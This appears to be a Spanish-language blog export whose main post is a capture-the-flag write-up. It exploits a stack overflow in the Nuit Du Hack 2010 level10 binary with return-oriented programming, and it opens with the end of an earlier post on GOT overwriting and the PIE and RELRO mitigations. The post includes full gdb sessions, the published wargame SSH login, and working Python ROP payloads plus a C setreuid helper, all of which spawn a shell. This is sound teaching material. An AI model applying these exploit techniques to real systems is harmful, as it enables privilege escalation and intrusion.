0x8049710 <strcpy@got.plt>: 0xf767ff10 --> Dirección system
(gdb) x/i 0xf767ff10
0xf767ff10 <system>: sub esp,0xc
(gdb)
# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xff867214: 0x08048368 --> strcpy@PLT
(gdb) x/i 0x08048368
0x8048368 <strcpy@plt>: jmp DWORD PTR ds:0x8049710
(gdb)
# FINAL
(gdb) c
Continuing.
$ id
uid=1000(dani) gid=1000(dani) grupos=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
$
</pre>
<p align="justify">
<b>Contramedidas</b>
</p>
<p align="justify">
Con estos ataques hemos conseguido evadir <i>ASLR</i> y <i>NX</i>, que suelen ser las técnicas de protección más adoptadas, pero todavía existen otras que pueden ser implementadas, y que hacen que la explotación sea mucho más compleja. PIE (<a href="http://en.wikipedia.org/wiki/Position-independent_code" target="_blank">Position-independent executables</a>) y RELRO (RELocation Read-Only) son dos de ellas.
</p>
<p align="justify">
Cuando se utiliza <i>PIE</i>, los binarios son compilados de manera que puedan ser libremente localizables en todo el espacio de direcciones del programa. Así, con el apoyo de <i>ASLR</i>, se cree que los programas están mucho más protegidos contra los ataques que utilizan <i>ROP</i>, ya que no sólo las direcciones del código de las bibliotecas son aleatorias, sino también las direcciones de las instrucciones del propio programa. Sin embargo, <i>PIE</i> necesita recompilación y disminuye el rendimiento del programa, por ello, la mayoría de las modernas distribuciones GNU/Linux aún no lo implementan sus binarios.
</p>
<p align="justify">
Por otro lado, <i>RELRO</i> se utiliza para marcar la sección GOT con solo permisos de lectura, previniendo ataques que necesitan sobreescribir dicha sección, como el tratado anteriormente (GOT overwriting), aunque no el primero (GOT dereferencing).
</p>
<p align="justify">
<b>Enlaces de interés </b>
</p>
<p align="justify">
- <a href="http://force.vnsecurity.net/download/longld/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf" target="_blank">Payload already inside: Data reuse for ROP exploits</a><br>
- <a href="http://security.dsi.unimi.it/~roberto/pubs/acsac09.pdf" target="_blank">ROP Zombie</a><br>
- <a href="http://tk-blog.blogspot.com.es/2009/02/relro-not-so-well-known-memory.html" target="_blank">RELRO - A (not so well known) Memory Corruption Mitigation Technique</a><br>
- <a href="ftp://ftp.inf.ethz.ch/doc/tech-reports/7xx/766.pdf" target="_blank">Too much PIE is bad for performance</a><br>
- <a href="http://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/" target="_blank">How Effective is ASLR on Linux Systems?</a>
</p>
<p align="justify">
<b>Despedida</b>
</p>
<p align="justify">
Y esto ha sido todo. Si has llegado hasta aquí, espero que hayas disfrutado tanto como yo ;-)
</p>
<p align="justify">
Un saludo!
</p>danigarguhttp://www.blogger.com/profile/00157285352437149889noreply@blogger.com8tag:blogger.com,1999:blog-6911347645819085882.post-87142246466498137812013-01-18T20:03:00.001+01:002013-02-04T03:43:37.938+01:00Having fun with ROP - NX/ASLR Bypass (Linux)<p align="justify">
Después de estar unos días buscando y leyendo información acerca de <b>ROP</b> (<a href="http://en.wikipedia.org/wiki/Return-oriented_programming" target="_blank">Return Oriented Programming</a>), he decidido estrenar el blog plasmando un poco lo aprendido con un caso práctico, en el que se aprovecha ROP para explotar un stack overflow en un binario con pila no ejecutable (<a href="http://en.wikipedia.org/wiki/NX_bit" target="_blank">NX</a>) y randomización de pila (<a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization" target="_blank">ASLR</a>) activada en el sistema.</p>
<p align="justify"><b>ROP (Return Oriented Programming)</b></p>
<p align="justify">
Se trata de una técnica de explotación que consiste básicamente en buscar en las secciones ejecutables del binario (que no son afectadas por el ASLR, por ejemplo: text) "<b>gadgets</b>", que en realidad son pequeños trozos de código seguidos inmediatamente de un RET. Después, estos gadgets serán utilizados para crear una cadena de instrucciones, de forma que cada gadget volverá al próximo gadget (a la dirección del siguiente gadget, que estará en la pila).</p>
<p align="justify"><b>Programa vulnerable</b></p>
<p align="justify">
Para hacer pruebas con esta técnica, he escogido el nivel 10 del CTF de la <a href="http://wargame2k10.nuitduhack.com/" target="_blank">Nuit Du Hack 2010</a>, que actualmente sigue online, y que para empezar con este tema me parece el ideal.
</p>
<p align="justify">
Para conectarnos por SSH usamos los siguientes credenciales:
</p>
<p><i>* Host: wargame2k10.nuitduhack.com<br />
* Username: level10<br />
* Password: z8D4ds</i>
</p>
<pre class="brush: plain;">
level10@wargame2k10:~$ ls -l
total 580
-r-sr-x--- 1 l33t level10 579315 1 janv. 2008 level10
-r--r----- 1 level10 level10 7 1 janv. 2008 passwd
-rwxr-x--- 1 root root 685 1 janv. 2008 rop.c
level10@wargame2k10:~$ file level10
level10: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped
level10@wargame2k10:~$
</pre>
<p align="justify">
Como podemos observar, se trata de un binario ELF de 32bits compilado de forma estática y con setuid activo. Para trabajar mejor, nos lo descargamos por scp.
</p>
<pre class="brush: plain;">
$ scp level10@wargame2k10.nuitduhack.com:/home/level10/level10 .
</pre>
<p align="justify">
También lo dejo subido aquí:<br />
<i>Descarga: <a href="https://sites.google.com/site/danigargu/binarios/level10_ropme" target="_blank">level10</a><br />
MD5: 2e7f6ca4b78518dfd82cd3d0b8432976</i>
</p>
<p align="justify">
Una vez descargado, comprobamos las protecciones que tiene el binario con el script <a href="http://www.trapkit.de/tools/checksec.html" target="_blank">checksec.sh</a>.
</p>
<pre class="brush: plain;">$ bash /tools/exploiting/checksec.sh --file level10
RELRO STACK CANARY NX PIE FILE
Partial RELRO No canary found NX enabled No PIE level10
# ASLR
$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
</pre>
<p align="justify"><b>Protecciones</b></p>
<ul>
<li><b>RELRO:</b> GOT no modificable.</li>
<li><b>NX:</b> Stack no ejecutable.</li>
<li><b>ASLR:</b> Activado.</li>
</ul>
<p align="justify">
Perfecto! Ahora toca explotar :-)</p>
<pre class="brush: plain;">$ ./level10 HOLA
ROP me if you can :]
-> HOLA
$ ./level10 `perl -e 'print "A" x 20'`
ROP me if you can :]
-> AAAAAAAAAAAAAAAAAAAA
Violación de segmento
</pre>
<p align="justify">
Si al ejecutarlo pasamos un argumento, nos lo imprime, pero si el tamaño del argumento es demasiado grande, nos devuelve una violación de segmento. Ahora solo tenemos que ver cuándo ocurre, así que a tirar de GDB!
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVocZhW10McYu257ZsBrBwbud4gFtDgU98pUQCx1xilHn9Hvkxf3oRizktILVjeESG52CsWtW2Oup0UwrlGQI32_PsBphLBLkzkWq3U4PBcpkq4vMDjPvFcvTClCrqpkFhWSWZu4-VsI/s1600/disas_final.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="164" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVocZhW10McYu257ZsBrBwbud4gFtDgU98pUQCx1xilHn9Hvkxf3oRizktILVjeESG52CsWtW2Oup0UwrlGQI32_PsBphLBLkzkWq3U4PBcpkq4vMDjPvFcvTClCrqpkFhWSWZu4-VsI/s400/disas_final.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Desensamblado de las funciones main() y vuln()</b></div>
<p align="justify">
En el desensamblado de la función <b>main()</b> podemos ver como se realiza una llamada a la función <b>vuln()</b>, y en ésta, una llamada a <b>strcpy()</b>, donde es provocada la violación de segmento al copiar el valor de <b>argv[1]</b> en un buffer demasiado pequeño.
</p>
<p align="justify">Ahora tendremos que comprobar a partir de qué byte se sobreescribe la dirección de retorno de la función vuln(). Para ello vamos a utilizar las herramientas <i>pattern_create.rb</i> y <i>pattern_offset.rb</i> que vienen incluidas en <a href="http://www.metasploit.com/" target="_blank">Metasploit Framework</a>.</p>
<pre class="brush: plain;">
# Breakpoint en el RET de la función vuln()
(gdb) b *0x0804829f
Breakpoint 1 at 0x804829f
# Ejecutamos pasando 50 bytes generados por patter_create
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
Starting program: /home/dani/ndh-ropme/level10 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
ROP me if you can :]
-> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
Breakpoint 1, 0x0804829f in vuln ()
# Instrucción actual
(gdb) x/i $eip
=> 0x804829f <vuln+59>: ret
# Examinamos cual es la dirección de retorno antes de que se ejecute el RET
(gdb) x/a $esp
0xffbc939c: 0x41346141
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41346141 in ?? ()
(gdb)
</pre>
<p align="justify">Como vemos, la dirección de retorno se ha sobreescrito con el valor "<b>0x41346141</b>" (ASCII: Aa4A), y GDB ha devuelto una violación de segmento al no poder acceder a dicha dirección.</p>
<pre class="brush: plain;">
$ ruby /pentest/exploits/msf4/tools/pattern_offset.rb 0x41346141
[*] Exact match at offset 12
</pre>
<p align="justify">
Tras comprobar el valor con <i>pattern_offset</i>, nos indica que existen 12 bytes antes de empezar a sobreescribir la dirección de retorno, por lo que comienza a sobreescribirse en el byte 13.
Ahora que tenemos el control sobre EIP, podemos dirigir el flujo a donde queramos y, como dice el programa (<i>ROP me if you can</i>), tenemos que usar ROP para explotarlo.
</p>
<p align="justify">
Si nos fijamos bien, nos han dejado una función llamada <b>rop()</b> con unas cuantas instrucciones (<b>gadgets</b>) para que aprovechemos, todas ellas con un <b>RET</b> al final.</p>
<pre class="brush: plain;">
(gdb) disas rop
Dump of assembler code for function rop:
0x08048250 <+0>: push ebp
0x08048251 <+1>: mov ebp,esp
0x08048253 <+3>: ret
0x08048254 <+4>: pop ebx
0x08048255 <+5>: ret
0x08048256 <+6>: nop
0x08048257 <+7>: mov edx,esi
0x08048259 <+9>: pop esi
0x0804825a <+10>: inc esi
0x0804825b <+11>: ret
0x0804825c <+12>: xor eax,eax
0x0804825e <+14>: inc eax
0x0804825f <+15>: ret
0x08048260 <+16>: int 0x80
0x08048262 <+18>: pop ebp
0x08048263 <+19>: ret
End of assembler dump.
</pre>
<p align="justify">
Posiblemente con esas pocas se podría realizar una llamada a <b>execve()</b>, pero vamos a buscar alguna más utilizando la herramienta <a href="http://force.vnsecurity.net/download/longld/ropeme-bhus10.tbz2" target="_blank">ROPeMe</a> de <a href="http://vnsecurity.net/" target="_blank">VNSecurity</a>, que son varios scripts en Python que nos ayudan en la recolección de gadgets.</p>
<p align="justify">
Para generar los gadgets del binario utilizamos el comando: <b>generate <binario></b><br />
Para cargarlos: <b>load <fichero ggt></b>
</p>
<pre class="brush: plain;">$ /tools/exploiting/ropeme/ropeme/ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate level10
Generating gadgets for level10 with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 2748 gadgets
Dumping asm gadgets to file: level10.ggt ...
OK
ROPeMe> load level10.ggt
Loading asm gadgets from file: level10.ggt ...
Loaded 2748 gadgets
ELF base address: 0x8048000
OK
</pre>
<p align="justify">
Como vemos, se han encontrado bastantes gadgets (2748), y esto se debe en gran medida a que el binario está compilado de forma estática.
</p>
<p align="justify">
Una vez generados y cargados los gadgets, el siguiente paso consiste en buscar los necesarios para poder realizar una llamada a <b>execve()</b>. Para ello utilizamos el comando <b>search</b>.
</p>
<pre class="brush: plain;">ROPeMe> search pop edx %
Searching for ROP gadget: pop edx % with constraints: []
...
0x8052341L: pop edx ; pop ecx ; pop ebx ;;
...
ROPeMe> search inc ecx %
Searching for ROP gadget: inc ecx % with constraints: []
0x80853a6L: inc ecx ; adc al 0x39 ;;
...
ROPeMe> search inc edx %
Searching for ROP gadget: inc edx % with constraints: []
...
0x804ece9L: inc edx ; add al 0x83 ;;
...
ROPeMe> search xor eax eax %
Searching for ROP gadget: xor eax eax % with constraints: []
0x804825cL: xor eax eax ; inc eax ;;
...
ROPeMe> search inc eax
Searching for ROP gadget: inc eax with constraints: []
0x804825eL: inc eax ;;
...
ROPeMe> search int 0x80 %
Searching for ROP gadget: int 0x80 % with constraints: []
0x8048260L: int 0x80 ; pop ebp ;;
...
</pre>
<p align="justify"><b>Gadgets a utilizar</b></p>
<ol>
<li>0x8052341L: <b>pop edx ; pop ecx ; pop ebx ;;</b></li>
<li>0x80853a6L: <b>inc ecx ; adc al 0x39 ;;</b></li>
<li>0x804ece9L:<b> inc edx ; add al 0x83 ;;</b></li>
<li>0x804825cL:<b> xor eax eax ; inc eax ;;</b></li>
<li>0x804825eL: <b>inc eax ;;</b></li>
<li>0x8048260L:<b> int 0x80 ; pop ebp ;;</b></li>
</ol>
<p align="justify">
Con estos 6 gadgets tenemos suficiente para hacer una llamada a <b>execve</b>, ya que tenemos el control sobre eax (4, 5), ebx (1), ecx (1, 2) y edx (1, 3). Ahora tenemos que conseguir que dichos registros tengan los siguientes valores:
</p>
<ul>
<li><b>EAX</b> = 0xb (syscall execve)</li>
<li><b>EBX</b> = puntero a cadena</li>
<li><b>ECX</b> = 0x0 (NULL)</li>
<li><b>EDX</b> = 0x0 (NULL)</li>
</ul>
<p align="justify">
Para conseguirlo, nuestro paquete bomba tendrá la siguiente estructura:
</p>
<pre class="brush: plain;">0x08052341 # pop edx ; pop ecx ; pop ebx ;;
0xffffffff # pop edx; (edx = 0xffffffff)
0xffffffff # pop ecx; (ecx = 0xffffffff)
puntero_cadena # pop ebx; (ebx = Puntero cadena que utilizará execve)
0x080853a6 # inc ecx ; adc al 0x39 ;; (ecx = 0)
0x0804ece9 # inc edx ; add al 0x83 ;; (edx = 0)
0x0804825c # xor eax eax ; inc eax ;; (eax = 0x1)
0x0804825e # inc eax ;; (eax = 0x2)
0x0804825e # inc eax ;; (eax = 0x3)
0x0804825e # inc eax ;; (eax = 0x4)
0x0804825e # inc eax ;; (eax = 0x5)
0x0804825e # inc eax ;; (eax = 0x6)
0x0804825e # inc eax ;; (eax = 0x7)
0x0804825e # inc eax ;; (eax = 0x8)
0x0804825e # inc eax ;; (eax = 0x9)
0x0804825e # inc eax ;; (eax = 0xa)
0x0804825e # inc eax ;; (eax = 0xb)
0x08048260 # int 0x80 ; pop ebp ;; execve(CADENA,0,0)
</pre>
<p align="justify">
Aunque no se aprecie en los gadgets que hemos buscado con la herramienta <i>ROPeMe</i>, éstos siempre acaban en una instrucción RET, de forma que cuando se ejecute el RET, la ejecución pasará directamente a la dirección del siguiente gadget, que se encontrará en la pila. Así estaremos haciendo una especie de shellcode, pero en vez de con opcodes, con las direcciones de los gadgets a ejecutar. Bastante chulo ;-D
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZkn1QvHPqBmDTbDFOnHJcBs-74i0-v7AYMRr_oEq92OmsWSY3p1HW6VvjZl7aTjAiqiUPunQrA0Vu0Vjwr7oUBMmgwuCsBrqpIF3HgOx4LSjByLJ0guYaP8r3apxf2mw8CJp_LHw27k/s1600/rop_stack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZkn1QvHPqBmDTbDFOnHJcBs-74i0-v7AYMRr_oEq92OmsWSY3p1HW6VvjZl7aTjAiqiUPunQrA0Vu0Vjwr7oUBMmgwuCsBrqpIF3HgOx4LSjByLJ0guYaP8r3apxf2mw8CJp_LHw27k/s400/rop_stack.png" height="317" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Estado de la pila justo antes de ejecutarse el RET de vuln()</b>
</div>
<p align="justify">
Para ponernos con la explotación nos queda un pequeño paso, y es que necesitamos la dirección de una cadena para el primer parámetro de execve (ebx).
</p>
<p align="justify">
<b>NOTA:</b> En la máquina del wargame el ASLR está desactivado, por lo que es más fácil de explotar, ya que podemos meter dicha cadena en una variable de entorno o en cualquier parte de la pila, obtener su dirección y explotarlo sin problemas. Pero en este caso, para complicarlo un poco más, vamos a tratar de buscar una cadena en una sección no randomizable para luego crearnos un pequeño binario que nos brinde un shell.
</p>
<p align="justify"><b>Búsqueda de cadenas</b></p>
<p align="justify">
Para buscar cadenas vamos a usar la herramienta <b>rabin2</b> que viene en el paquete de <a href="http://radare.org/" target="_blank">radare2</a>, aunque también lo podemos hacer con gdb.
</p>
<pre class="brush: plain;">$ rabin2 -z level10
[strings]
addr=0x080a7348 off=0x0005f348 ordinal=000 sz=6 section=.rodata string=s
addr=0x080a734f off=0x0005f34f ordinal=001 sz=9 section=.rodata string=sarg
addr=0x080a7359 off=0x0005f359 ordinal=002 sz=21 section=.rodata string=ROPmeifyoucan
addr=0x080a736e off=0x0005f36e ordinal=003 sz=22 section=.rodata string=FATALkerneltooold
addr=0x080a7385 off=0x0005f385 ordinal=004 sz=13 section=.rodata string=devurandom
...
addr=0x080b1953 off=0x00069953 ordinal=734 sz=6 section=.rodata string=cntrl
addr=0x080b1959 off=0x00069959 ordinal=735 sz=6 section=.rodata string=punct
addr=0x080b195f off=0x0006995f ordinal=736 sz=6 section=.rodata string=alnum
addr=0x080b1966 off=0x00069966 ordinal=737 sz=8 section=.rodata string=toupper
addr=0x080b196e off=0x0006996e ordinal=738 sz=8 section=.rodata string=tolower
addr=0x080bbb40 off=0x00073b40 ordinal=739 sz=7 section=.rodata string=Sunday
....
989 strings
</pre>
<p align="justify">
Elegimos por ejemplo "<b>cntrl</b>", que se encuentra en la dirección <b>0x080b1953</b>, ya que las anteriores tienen mayor tamaño del que se muestra (se puede apreciar el size) y no nos interesa que tengan ningún carácter raro.<br />
Una vez elegida la cadena, creamos un binario llamado <b>cntrl</b> para que restablezca el uid efectivo (euid) del usuario que lo ejecuta y nos abra un shell <b>/bin/sh</b>.
</p>
<pre class="brush: cpp;">
#include <stdio.h>
#include <unistd.h>
int main(void)
{
int euid = geteuid();
setreuid(euid, euid);
execv("/bin/sh", NULL);
}
</pre>
<p align="justify">
Hacemos un pequeño script en python que nos imprima la colección de direcciones que hemos encadenado.
</p>
<pre class="brush: python;">
#!/usr/bin/python
#
# Exploit ROP
#
from struct import pack
binary = "level10"
junk = "A" * 12
cntrl_string = pack('<I', 0x080b1953) # string: cntrl
rop = pack('<I', 0x08052341) # pop edx ; pop ecx ; pop ebx ;;
rop += pack('<I', 0xffffffff) # pop edx (ebx = 0xffffffff)
rop += pack('<I', 0xffffffff) # pop ecx (ebc = 0xffffffff)
rop += cntrl_string # pop ebx (ebx = 0x080b1953)
rop += pack('<I', 0x080853a6) # inc ecx ; adc al 0x39 ;; (ecx = 0x0)
rop += pack('<I', 0x0804ece9) # inc edx ; add al 0x83 ;; (edx = 0x0)
rop += pack('<I', 0x0804825c) # xor eax eax ; inc eax ;; (eax = 0x1)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x2)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x3)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x4)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x5)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x6)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x7)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x8)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0x9)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0xa)
rop += pack('<I', 0x0804825e) # inc eax ;; (eax = 0xb -> execve())
rop += pack('<I', 0x08048260) # int 0x80 ; pop ebp ;;
payload = junk + rop
print payload
</pre>
<p align="justify">
Enviamos al binario lo que lo que nos devuelve el python y...¡FUNCIONA!, tenemos un shell ;D
</p>
<pre class="brush: plain;">
$ ./level10 "$(python exploit.py)"
ROP me if you can :]
-> AAAAAAAAAAAAA��������S
��\�^�^�^�^�^�^�^�^�^�^�`�����
$
</pre>
<p align="justify">
Lo lanzamos en la máquina del wargame y... !también funciona!
</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNKMDd909hch7Mv0ZBkFTxWsay1mDmXx2_PnscvI5BkAOaBiDIquchON3Qm0JG1yrg5eOj6S4bL8HVfP5Y1gu0CdS2xHg_GMF0S6JXbGVJivJAXIPGqJ2spRcGKeG4d7_utHfDGkzpco/s1600/7.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="141" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNKMDd909hch7Mv0ZBkFTxWsay1mDmXx2_PnscvI5BkAOaBiDIquchON3Qm0JG1yrg5eOj6S4bL8HVfP5Y1gu0CdS2xHg_GMF0S6JXbGVJivJAXIPGqJ2spRcGKeG4d7_utHfDGkzpco/s400/7.png" /></a></div>
<p align="justify">
Ahora, como tenemos privilegios del usuario <b>l33t</b>, podemos acceder a su directorio personal y leer sus archivos, que entre ellos está su password y el código fuente del nivel (rop.c).
</p>
<pre class="brush: cpp;">#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10
void rop()
{
__asm("ret");
__asm("pop %ebx");
__asm("ret");
__asm("nop");
__asm("movl %esi, %edx");
__asm("pop %esi");
__asm("inc %esi");
__asm("ret");
__asm("xor %eax, %eax");
__asm("inc %eax");
__asm("ret");
__asm("int $0x80");
}
void vuln(char *buff)
{
char tmp[8] = {'\0'};
strcpy(tmp, buff);
printf("-> %sn", tmp);
}
int main(int argc, char *argv[])
{
if(argc != 2) {
printf("%s <arg>n", argv[0]);
exit(0);
}
printf("ROP me if you can :]n");
vuln(argv[1]);
return 0;
}
</pre>
<p align="justify"><b>ROPGadget</b></p>
<p align="justify">
Todo perfecto, hemos conseguido explotarlo, pero ya que estamos, vamos a utilizar otra gran herramienta para la búsqueda de gadgets, que es <a href="http://shell-storm.org/project/ROPgadget/" target="_blank">ROPGadget</a>, creada por <a href="https://twitter.com/JonathanSalwan" target="_blank">Jonathan Salwan</a> de <a href="https://www.shell-storm.org/" target="_blank">Shell-Storm</a>.
</p>
<p align="justify">
Como se puede apreciar tras compilar y ejecutar, la herramienta trae unas cuantas opciones interesantes para la explotación con ROP. Entre ellas, la más interesante es la de búsqueda de gadgets (<b>-g</b>), que además de buscar gadgets, utiliza un método auto-roper que intenta crear un payload automáticamente con los gadgets encontrados ;D
</p>
<pre class="brush: plain;">
$ ROPgadget -g -file level10
Gadgets information
============================================================
0x0804814e: jmp dword ptr [ebx]
0x08048162: add eax, 0xc95b5800 ; ret
0x08048204: add esp, 0x14 ; pop ebx ; pop ebp ; ret
0x08048207: pop ebx ; pop ebp ; ret
0x08048208: pop ebp ; ret
0x0804824c: call eax
...
Unique gadgets found: 132
Possible combinations.
============================================================
[+] Combo 1 was found - Possible with the following gadgets. (execve)
- 0x08048260 => int $0x80
- 0x0804825e => inc %eax ; ret
- 0x0809951f => xor %eax,%eax ; ret
- 0x080788c1 => mov %eax,(%edx) ; ret
- 0x080a1769 => pop %eax ; ret
- 0x08048254 => pop %ebx ; ret
- 0x08052341 => pop %edx ; pop %ecx ; pop %ebx ; ret
- 0x08052318 => pop %edx ; ret
- 0x080c6001 => .data Addr
Payload
# execve /bin/sh generated by RopGadget v3.4.2
p += pack("<I", 0x08052318) # pop %edx ; ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax ; ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
p += pack("<I", 0x08052318) # pop %edx ; ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax ; ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
p += pack("<I", 0x08052318) # pop %edx ; ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax ; ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx ; ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x0804825e) # inc %eax ; ret
p += pack("<I", 0x08048260) # int $0x80
EOF Payload
</pre>
<p align="justify">
Como vemos, a partir de los gadgets obtenidos, ha sido capaz de encadenarlos de forma automática para construir un payload que realiza una llamada <b>execve("/bin/sh")</b>. Ahora toca probarlo...
</p>
<pre class="brush: plain;">
$ ./level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA `
i
/bin� `
i
//sh� # `
� �ABBBBBBBB `
ABBBB `
BBBB # `
� ^�^�^�^�^�^�^�^�^�^�^�`�
Violación de segmento
</pre>
<p align="justify">
Vaya, violación de segmento, ¡algo falla!
</p>
<pre class="brush: plain;">
# Breakpoint en el int 0x80
(gdb) b *0x08048260
Breakpoint 1 at 0x8048260
# Ejecutamos
(gdb) r "$(python exploit_ropgadget.py)"
Starting program: /home/dani/ndh-ropme/level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA `
i
/bin� `
i
//sh� # `
� �ABBBBBBBB `
ABBBB `
BBBB # `
� ^�^�^�^�^�^�^�^�^�^�^�`�
Breakpoint 1, 0x08048260 in rop ()
# Instrucción actual
(gdb) x/i $eip
=> 0x8048260 <rop+16>: int $0x80
# Registros que va a usar execve()
(gdb) i r eax ebx ecx edx
eax 0xb 11
ebx 0x42424242 1111638594
ecx 0x80c6009 135028745
edx 0x80c6009 135028745
# ECX y EDX apuntan al null byte de .data
(gdb) x/x 0x80c6009
0x80c6009 <_dl_tls_static_size+1>: 0x00000000
(gdb) x/s 0x80c6009-8
0x80c6001 <data_start+1>: "/bin//sh"
(gdb)
</pre>
<p align="justify">
Tras depurar un poco, vemos que falla porque registro <b>EBX</b> tiene de valor <b>0x42424242</b>, que es un padding mal añadido por ROPgadget, y en vez de eso debería tener la dirección de la sección <b>.data</b> (0x080c6001), que es donde se encuentra la cadena <b>/bin/sh</b>. Así que buscamos el último gadget que da valor a <b>EBX</b>.
</p>
<pre class="brush: plain;">
p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
</pre>
<p align="justify">
Y tal cual, el último padding (<b>0x42424242</b>) el es valor que popea EBX. Lo cambiamos por <b>0x080c6001</b> y probamos.
</p>
<pre class="brush: plain;">
$ ./level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA `
i
/bin� `
i
//sh� # `
� �ABBBBBBBB `
ABBBB `
`
# `
� ^�^�^�^�^�^�^�^�^�^�^�`�
$ id
uid=1000(dani) gid=1000(dani) groups=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
</pre>
<p align="justify">
¡Solucionado! Tenemos un shell, así de fácil :-)
</p>
<p align="justify">
Es interesante ver cómo el payload ROP que nos ha creado ROPGadget utiliza la sección no randomizable <b>.data</b> para almacenar la cadena "<b>/bin/sh</b>", pero bueno, eso ya os lo dejo para vosotros :-)
</p>
<p align="justify">
Para la siguiente entrada intentaré explicar cómo explotar con ROP otro binario, pero compilado de forma dinámica y sin instrucciones de ayuda como teníamos en éste, empleando para ello la técnica GOT dereferencing.
</p>
<p align="justify">
Y esto ha sido todo. Un saludo!
</p>danigarguhttp://www.blogger.com/profile/00157285352437149889noreply@blogger.com19